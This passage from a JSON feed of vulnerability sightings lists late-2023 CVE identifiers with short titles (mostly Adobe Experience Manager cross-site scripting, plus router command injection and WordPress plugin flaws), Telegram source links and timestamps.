"https://ift.tt/mnsQ4ZB\nCVE-2023-48518 | Adobe Experience Manager AEM Cloud Service/6.5.18.0 cross site scripting (APSB23-72)", "creation_timestamp": "2024-01-05T05:36:29.000000Z"}, {"uuid": "b08bd541-51c7-453d-8643-671c9fe34779", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48510", "type": "seen", "source": "https://t.me/ctinow/163348", "content": "https://ift.tt/lVrHOcq\nCVE-2023-48510 | Adobe Experience Manager AEM Cloud Service/6.5.18.0 cross site scripting (APSB23-72)", "creation_timestamp": "2024-01-05T03:01:47.000000Z"}, {"uuid": "b2dafa40-3bc6-44ca-b841-bc18f41b85e0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48509", "type": "seen", "source": "https://t.me/ctinow/163347", "content": "https://ift.tt/kmKD6ib\nCVE-2023-48509 | Adobe Experience Manager AEM Cloud Service/6.5.18.0 cross site scripting (APSB23-72)", "creation_timestamp": "2024-01-05T03:01:46.000000Z"}, {"uuid": "186a4640-8ceb-4cce-9ed7-ed725b4c7312", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48508", "type": "seen", "source": "https://t.me/ctinow/163342", "content": "https://ift.tt/84fBvth\nCVE-2023-48508 | Adobe Experience Manager AEM Cloud Service/6.5.18.0 cross site scripting (APSB23-72)", "creation_timestamp": "2024-01-05T02:26:36.000000Z"}, {"uuid": "cb3b5160-059f-4b5b-888e-26d66c918962", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48507", "type": "seen", "source": "https://t.me/ctinow/163341", "content": "https://ift.tt/dePnBvM\nCVE-2023-48507 | Adobe Experience Manager AEM Cloud Service/6.5.18.0 cross site scripting (APSB23-72)", "creation_timestamp": "2024-01-05T02:26:34.000000Z"}, {"uuid": "b66081b7-cc84-4d86-9557-4a8e683fcba0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48506", "type": "seen", "source": "https://t.me/ctinow/163330", "content": "https://ift.tt/IBWhHCp\nCVE-2023-48506 | Adobe Experience Manager AEM Cloud Service/6.5.18.0 cross site scripting (APSB23-72)", "creation_timestamp": "2024-01-05T01:56:30.000000Z"}, {"uuid": "f7cea356-89b8-4479-86a3-a50cf4a84830", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48722", "type": "seen", "source": "https://t.me/ctinow/158009", "content": "https://ift.tt/Mg0XYVx\nCVE-2023-48722", "creation_timestamp": "2023-12-21T22:27:32.000000Z"}, {"uuid": "4de86c31-a7e3-4bdb-9596-29ac66fe5d8e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48517", "type": "seen", "source": "https://t.me/ctinow/163374", "content": "https://ift.tt/9Cumshc\nCVE-2023-48517 | Adobe Experience Manager AEM Cloud Service/6.5.18.0 cross site scripting (APSB23-72)", "creation_timestamp": "2024-01-05T05:06:08.000000Z"}, {"uuid": "0cf78734-6cdf-4ff5-be2c-bf96233ead95", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48516", "type": "seen", "source": "https://t.me/ctinow/163372", "content": "https://ift.tt/mGOyKSR\nCVE-2023-48516 | Adobe Experience Manager AEM Cloud Service/6.5.18.0 cross site scripting (APSB23-72)", "creation_timestamp": "2024-01-05T04:31:56.000000Z"}, {"uuid": "7215df45-a4df-44dd-9cff-dc7cef0f24a0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48966", "type": "seen", "source": "https://t.me/ctinow/158754", "content": "https://ift.tt/u9eny3d\nCVE-2023-48966 | ThinkAdmin 6.1.53 ZIP File unrestricted upload", "creation_timestamp": "2023-12-23T10:21:45.000000Z"}, {"uuid": "4ebe4fbe-7c5e-41b9-8031-89905472afa2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48801", "type": "seen", "source": "https://t.me/ctinow/158246", "content": "https://ift.tt/Lqdi26z\nCVE-2023-48801 | Totolink X6000R 9.4.0cu.852_B20230719 shttpd sub_415534 command injection", "creation_timestamp": "2023-12-22T08:51:34.000000Z"}, {"uuid": "dcde9042-3552-4858-8b76-552bfcd7d47c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48314", "type": "seen", "source": "https://t.me/ctinow/158245", "content": "https://ift.tt/ufARyqe\nCVE-2023-48314 | CollaboraOnline prior 23.5.403 Built-in CODE Server App proxy.php cross site scripting (GHSA-qjrm-q4h5-v3r2)", "creation_timestamp": "2023-12-22T08:51:33.000000Z"}, {"uuid": "c2354104-f811-4f61-8807-3ae7812bc555", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48308", "type": "seen", "source": "https://t.me/ctinow/158119", "content": "https://ift.tt/hEPvKOT\nCVE-2023-48308", "creation_timestamp": "2023-12-22T01:21:54.000000Z"}, {"uuid": "7638f98f-e0f6-45d6-9c7b-5e5a63ed9839", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48804", "type": "seen", "source": "https://t.me/ctinow/157731", "content": "https://ift.tt/6b24SK5\nCVE-2023-48804 | Totolink X6000R 9.4.0cu.852_B20230719 shttpd sub_4119A0 os command injection", "creation_timestamp": "2023-12-21T15:11:31.000000Z"}, {"uuid": "48312bcf-837a-4539-bcc4-49fdaeda149e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48808", "type": "seen", "source": "https://t.me/ctinow/157718", "content": "https://ift.tt/538zdTx\nCVE-2023-48808 | Totolink X6000R 9.4.0cu.852_B20230719 shttpd sub_4119A0 os command injection", "creation_timestamp": "2023-12-21T14:42:41.000000Z"}, {"uuid": "7c79cda7-b9ca-4b11-881d-79da807b2d39", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48806", "type": "seen", "source": "https://t.me/ctinow/157717", "content": "https://ift.tt/WvMsXCI\nCVE-2023-48806 | Totolink X6000R 9.4.0cu.852_B20230719 shttpd sub_4119A0 os command injection", "creation_timestamp": "2023-12-21T14:42:40.000000Z"}, {"uuid": "4c7cf3b5-78b2-4003-be2c-56dfdb0e56fd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48511", "type": "seen", "source": "https://t.me/ctinow/163357", "content": "https://ift.tt/PsOCLFG\nCVE-2023-48511 | Adobe Experience Manager AEM Cloud Service/6.5.18.0 cross site scripting (APSB23-72)", "creation_timestamp": "2024-01-05T03:26:51.000000Z"}, {"uuid": "5a386aae-021b-482d-bc62-f439dad94906", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48489", "type": "seen", "source": "https://t.me/ctinow/163184", "content": "https://ift.tt/HishLnw\nCVE-2023-48489 | Adobe Experience Manager AEM Cloud Service/6.5.18.0 cross site scripting (APSB23-72)", "creation_timestamp": "2024-01-04T20:19:49.000000Z"}, {"uuid": "9ed291d0-0053-4306-9c10-d250e388b2f4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48488", "type": "seen", "source": "https://t.me/ctinow/163183", "content": "https://ift.tt/d2qfgJm\nCVE-2023-48488 | Adobe Experience Manager AEM Cloud Service/6.5.18.0 cross site scripting (APSB23-72)", "creation_timestamp": "2024-01-04T20:19:47.000000Z"}, {"uuid": "372e7828-a2d0-42a8-846c-902bac6ae005", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48487", "type": "seen", "source": "https://t.me/ctinow/163172", "content": "https://ift.tt/DxfVlgG\nCVE-2023-48487 | Adobe Experience Manager AEM Cloud Service/6.5.18.0 cross site scripting (APSB23-72)", "creation_timestamp": "2024-01-04T19:47:33.000000Z"}, {"uuid": "d0d95344-0ed3-4797-8845-aa39b7685f85", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48486", "type": "seen", "source": "https://t.me/ctinow/163171", "content": "https://ift.tt/gBRvpyc\nCVE-2023-48486 | Adobe Experience Manager AEM Cloud Service/6.5.18.0 cross site scripting (APSB23-72)", "creation_timestamp": "2024-01-04T19:47:32.000000Z"}, {"uuid": "75990365-e5c1-448d-b942-cbc5c089468e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48485", "type": "seen", "source": "https://t.me/ctinow/163163", "content": "https://ift.tt/cG2ybqE\nCVE-2023-48485 | Adobe Experience Manager AEM Cloud Service/6.5.18.0 cross site scripting (APSB23-72)", "creation_timestamp": "2024-01-04T19:16:44.000000Z"}, {"uuid": "71c5544a-1499-493c-b6c0-ee6a592590db", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48484", "type": "seen", "source": "https://t.me/ctinow/163162", "content": "https://ift.tt/xqp3jwa\nCVE-2023-48484 | Adobe Experience Manager AEM Cloud Service/6.5.18.0 cross site scripting (APSB23-72)", "creation_timestamp": "2024-01-04T19:16:43.000000Z"}, {"uuid": "f40f9378-7497-40d9-b41a-433249ad9e5d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48483", "type": "seen", "source": "https://t.me/ctinow/163149", "content": "https://ift.tt/zDBrqMZ\nCVE-2023-48483 | Adobe Experience Manager AEM Cloud Service/6.5.18.0 cross site scripting (APSB23-72)", "creation_timestamp": "2024-01-04T18:46:23.000000Z"}, {"uuid": "8ffb3c44-abe9-4d88-a22c-17b8fd16103c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48475", "type": "seen", "source": "https://t.me/ctinow/163097", "content": "https://ift.tt/pCglHco\nCVE-2023-48475 | Adobe Experience Manager AEM Cloud Service/6.5.18.0 cross site scripting (APSB23-72)", "creation_timestamp": "2024-01-04T16:46:36.000000Z"}, {"uuid": "47aeb419-0449-44c3-a71d-530f209b8d96", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48762", "type": "seen", "source": "https://t.me/ctinow/157779", "content": "https://ift.tt/fTjyp36\nCVE-2023-48762 | Crocoblock JetBlocks for Elementor Plugin on WordPress cross-site request forgery", "creation_timestamp": "2023-12-21T16:11:52.000000Z"}, {"uuid": "d4412d46-b08f-462d-ad80-23b9959bef94", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48756", "type": "seen", "source": "https://t.me/ctinow/157778", "content": "https://ift.tt/zg9e0SJ\nCVE-2023-48756 | Crocoblock JetBlocks for Elementor Plugin up to 1.3.8 on WordPress cross site scripting", "creation_timestamp": "2023-12-21T16:11:51.000000Z"}, {"uuid": "af35ea6e-cbdc-4ee8-b323-5b9114ed1a88", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48631", "type": "seen", "source": "https://t.me/ctinow/157759", "content": "https://ift.tt/MeloIEq\nCVE-2023-48631 | Adobe CSS-Tools prior 4.3.2 redos (GHSA-prr3-c3m5-p7q2)", "creation_timestamp": "2023-12-21T15:42:34.000000Z"}, {"uuid": "10e7daa5-de71-4655-8c7a-b399b27ddd8e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48482", "type": "seen", "source": "https://t.me/ctinow/163148", "content": "https://ift.tt/NaWqGSF\nCVE-2023-48482 | Adobe Experience Manager AEM Cloud Service/6.5.18.0 cross site scripting (APSB23-72)", "creation_timestamp": "2024-01-04T18:46:21.000000Z"}, {"uuid": "1e9c367e-717d-49a7-86bb-b36da77af69f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48481", "type": "seen", "source": "https://t.me/ctinow/163141", "content": "https://ift.tt/mwthn0d\nCVE-2023-48481 | Adobe Experience Manager AEM Cloud Service/6.5.18.0 cross site scripting (APSB23-72)", "creation_timestamp": "2024-01-04T18:16:15.000000Z"}, {"uuid": "abc7b0e7-5345-46a2-a5e3-1706a4f92cf8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48477", "type": "seen", "source": "https://t.me/ctinow/163117", "content": "https://ift.tt/Rhgspqf\nCVE-2023-48477 | Adobe Experience Manager AEM Cloud Service/6.5.18.0 cross site scripting (APSB23-72)", "creation_timestamp": "2024-01-04T17:16:41.000000Z"}, {"uuid": "5b87f65d-f5ad-4012-ad40-43cbae991d70", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48476", "type": "seen", "source": "https://t.me/ctinow/163116", "content": "https://ift.tt/IbjHdNV\nCVE-2023-48476 | Adobe Experience Manager AEM Cloud Service/6.5.18.0 cross site scripting (APSB23-72)", "creation_timestamp": "2024-01-04T17:16:40.000000Z"}, {"uuid": "4014d313-bbd9-4160-8889-846c0be1eb68", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48866", "type": "seen", "source": "https://t.me/ctinow/158751", "content": "https://ift.tt/5OVldrT\nCVE-2023-48866 | Grocy up to 4.0.3 Recipe Preparation /api/objects/recipes cross site scripting", "creation_timestamp": "2023-12-23T09:41:56.000000Z"}, {"uuid": "a33b4a0f-bf1e-41e9-beea-782a1bed007d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48815", "type": "seen", "source": "https://t.me/ctinow/158748", "content": "https://ift.tt/OEh9cuV\nCVE-2023-48815 | kkFileView 4.3.0 access control", "creation_timestamp": "2023-12-23T09:41:51.000000Z"}, {"uuid": "e5158f1f-db96-4b55-aa72-4936e20b50d6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48863", "type": "seen", "source": "https://t.me/ctinow/158746", "content": "https://ift.tt/XLM7zsm\nCVE-2023-48863 | SEMCMS 3.9 sql injection", "creation_timestamp": "2023-12-23T09:41:49.000000Z"}, {"uuid": "e53b34d1-453e-40ef-a2a5-7f917243a421", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48799", "type": "seen", "source": "https://t.me/ctinow/158745", "content": "https://ift.tt/BY2V54p\nCVE-2023-48799 | Totolink X6000R 9.4.0cu.852_B20230719 Privilege Escalation", "creation_timestamp": "2023-12-23T09:41:48.000000Z"}, {"uuid": "a92f41a4-775b-4069-beb1-436fde681c9a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48800", "type": "seen", "source": "https://t.me/ctinow/158743", "content": "https://ift.tt/fuPQhmN\nCVE-2023-48800 | Totolink X6000R 9.4.0cu.852_B20230719 snprintf os command injection", "creation_timestamp": "2023-12-23T09:11:47.000000Z"}, {"uuid": "aa353b67-5be7-4004-bedc-54928f4d54d3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48914", "type": "seen", "source": "https://t.me/ctinow/157542", "content": "https://ift.tt/LxZEpYU\nCVE-2023-48914 | Dreamer CMS 4.1.3 /admin/archives/add cross-site request forgery", "creation_timestamp": "2023-12-21T09:12:00.000000Z"}, {"uuid": "efe6e017-0257-4d04-80e2-75e4a078b248", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48460", "type": "seen", "source": "https://t.me/ctinow/163015", "content": "https://ift.tt/Qj7qihd\nCVE-2023-48460 | Adobe Experience Manager AEM Cloud Service/6.5.18.0 cross site scripting (APSB23-72)", "creation_timestamp": "2024-01-04T14:41:33.000000Z"}, {"uuid": "9b97b612-116a-467b-bcca-e159352a1328", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48459", "type": "seen", "source": "https://t.me/ctinow/163014", "content": "https://ift.tt/W1VQedX\nCVE-2023-48459 | Adobe Experience Manager AEM Cloud Service/6.5.18.0 cross site scripting (APSB23-72)", "creation_timestamp": "2024-01-04T14:41:32.000000Z"}, {"uuid": "573e67dc-01d1-404d-9022-d7b3d06132ca", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48458", "type": "seen", "source": "https://t.me/ctinow/162997", "content": "https://ift.tt/dePt3RT\nCVE-2023-48458 | Adobe Experience Manager AEM Cloud Service/6.5.18.0 cross site scripting (APSB23-72)", "creation_timestamp": "2024-01-04T14:11:41.000000Z"}, {"uuid": "e42fd933-f609-4c3c-aa02-0007dde72eb6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48457", "type": "seen", "source": "https://t.me/ctinow/162996", "content": "https://ift.tt/X5lKrVz\nCVE-2023-48457 | Adobe Experience Manager AEM Cloud Service/6.5.18.0 cross site scripting (APSB23-72)", "creation_timestamp": "2024-01-04T14:11:39.000000Z"}, {"uuid": "5a3fcaeb-3e2b-4a5f-8be3-3b846294131e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48456", "type": "seen", "source": "https://t.me/ctinow/162995", "content": "https://ift.tt/Bvh8dIt\nCVE-2023-48456 | Adobe Experience Manager AEM Cloud Service/6.5.18.0 cross site scripting (APSB23-72)", "creation_timestamp": "2024-01-04T14:11:38.000000Z"}, {"uuid": "81b482cc-a157-4d67-ab35-1cb178338583", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48272", "type": "seen", "source": "https://t.me/ctinow/157602", "content": "https://ift.tt/lVhSy3Y\nCVE-2023-48272 | yonifre Maspik Spam Blacklist Plugin up to 0.9.2 on WordPress cross site scripting", "creation_timestamp": "2023-12-21T11:07:58.000000Z"}, {"uuid": "cf9fcda4-5f34-4632-976d-09f2261eeb83", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48434", "type": "seen", "source": "https://t.me/ctinow/157343", "content": "https://ift.tt/NH49Web\nCVE-2023-48434", "creation_timestamp": "2023-12-20T22:22:30.000000Z"}, {"uuid": "2c4a9d98-c4d0-4835-a2af-1c29f65941f1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48433", "type": "seen", "source": "https://t.me/ctinow/157342", "content": "https://ift.tt/G6ArUvB\nCVE-2023-48433", "creation_timestamp": "2023-12-20T22:22:29.000000Z"}, {"uuid": "e84e3f89-f0c0-4121-a775-e6771401756f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48471", "type": "seen", "source": "https://t.me/ctinow/163073", "content": "https://ift.tt/yPRQbXh\nCVE-2023-48471 | Adobe Experience Manager AEM Cloud Service/6.5.18.0 cross site scripting (APSB23-72)", "creation_timestamp": "2024-01-04T16:16:25.000000Z"}, {"uuid": "b04bddb8-aff4-4cc0-8c9f-5165ee1d587a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48470", "type": "seen", "source": "https://t.me/ctinow/163059", "content": "https://ift.tt/5fxjiYw\nCVE-2023-48470 | Adobe Experience Manager AEM Cloud Service/6.5.18.0 cross site scripting (APSB23-72)", "creation_timestamp": "2024-01-04T15:46:43.000000Z"}, {"uuid": "ed078d43-3175-4b17-94f8-f36ddb14b098", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48469", "type": "seen", "source": "https://t.me/ctinow/163058", "content": "https://ift.tt/OeV0dtD\nCVE-2023-48469 | Adobe Experience Manager AEM Cloud Service/6.5.18.0 cross site scripting (APSB23-72)", "creation_timestamp": "2024-01-04T15:46:42.000000Z"}, {"uuid": "6744edfb-88dc-478e-b374-bcf1d81af3fe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48842", "type": "seen", "source": "https://t.me/ctinow/157945", "content": "https://ift.tt/C1S2WB6\nCVE-2023-48842 | D-Link Go-RT-AC750 revA_v101b03 hedwig.cgi service command injection", "creation_timestamp": "2023-12-21T20:47:42.000000Z"}, {"uuid": "99a0423c-85be-45ae-9ebc-ef003cfc41bb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48886", "type": "seen", "source": "https://t.me/ctinow/158249", "content": "https://ift.tt/Rzo76Yg\nCVE-2023-48886 | NettyRpc 1.2 RPC Request deserialization (Issue 53)", "creation_timestamp": "2023-12-22T08:51:38.000000Z"}, {"uuid": "f9c59b61-cf15-4f87-9195-df8e294ff359", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48887", "type": "seen", "source": "https://t.me/ctinow/158248", "content": "https://ift.tt/QtirOmS\nCVE-2023-48887 | Jupiter 1.3.1 RPC Request deserialization (Issue 115)", "creation_timestamp": "2023-12-22T08:51:36.000000Z"}, {"uuid": "07923bb0-b9ed-4ea1-bdae-2178f6e8ce88", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48308", "type": "seen", "source": "https://t.me/ctinow/158578", "content": "https://ift.tt/D6zotQp\nCVE-2023-48308 | Nextcloud Calendar up to 4.5.2 unknown vulnerability", "creation_timestamp": "2023-12-22T19:53:40.000000Z"}, {"uuid": "d1bbb1df-5bfd-4b82-a47d-87aabb8fc942", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48795", "type": "seen", "source": "https://t.me/ctinow/158153", "content": "https://ift.tt/iBeQ1AV\nSSH Attack Surface (CVE-2023-48795): Find and Patch Before the Grinch Arrives With CyberSecurity Asset Management", "creation_timestamp": "2023-12-22T03:26:53.000000Z"}, {"uuid": "7f81e759-e1e9-4411-b4f3-7e204db44541", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48298", "type": "seen", "source": "https://t.me/ctinow/158069", "content": "https://ift.tt/X84DI0A\nCVE-2023-48298", "creation_timestamp": "2023-12-22T00:22:17.000000Z"}, {"uuid": "2f372dd8-e770-4b26-84a2-cd42744bf0c6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48720", "type": "seen", "source": "https://t.me/ctinow/158008", "content": "https://ift.tt/TYVzNgk\nCVE-2023-48720", "creation_timestamp": "2023-12-21T22:27:31.000000Z"}, {"uuid": "90596b16-454a-475f-aacd-3c49669c5629", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48719", "type": "seen", "source": "https://t.me/ctinow/158007", "content": "https://ift.tt/EwK6Djq\nCVE-2023-48719", "creation_timestamp": "2023-12-21T22:27:30.000000Z"}, {"uuid": "c56e8bf2-6968-4071-9738-ba70203db188", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48963", "type": "seen", "source": "https://t.me/ctinow/157296", "content": "https://ift.tt/Q3Pv2FM\nCVE-2023-48963 | Tenda i6 1.0.0.8 /goform/wifiSSIDget buffer overflow", "creation_timestamp": "2023-12-20T20:46:45.000000Z"}, {"uuid": "b92d64e5-834b-4283-9473-5043457748cd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-4809", "type": "seen", "source": "https://t.me/ctinow/158081", "content": "https://ift.tt/PuRO4ai\nCVE-2023-4809 FreeBSD Vulnerability in NetApp Products", "creation_timestamp": "2023-12-22T00:26:34.000000Z"}, {"uuid": "4e8a31de-538d-4e02-bf6c-94f428f8308a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48291", "type": "seen", "source": "https://t.me/ctinow/157612", "content": "https://ift.tt/UXAwWJS\nCVE-2023-48291", "creation_timestamp": "2023-12-21T11:22:20.000000Z"}, {"uuid": "e3182a75-7376-4862-9954-8da5caa1615e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48016", "type": "seen", "source": "https://t.me/ctinow/157698", "content": "https://ift.tt/LtFyCfp\nCVE-2023-48016 | Restaurant Table Booking System 1.0 rtbs/admin/index.php username sql injection", "creation_timestamp": "2023-12-21T14:11:46.000000Z"}, {"uuid": "01c531f4-cd7d-41c3-b8f8-9cdbd9327bda", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48754", "type": "seen", "source": "https://t.me/ctinow/157555", "content": "https://ift.tt/BJCN0gF\nCVE-2023-48754 | Wap Nepal Delete Post Revisions Plugin up to 4.6 on WordPress cross-site request forgery", "creation_timestamp": "2023-12-21T09:41:28.000000Z"}, {"uuid": "ebacdd5d-ea99-4f74-ab96-2b45f73c8438", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": 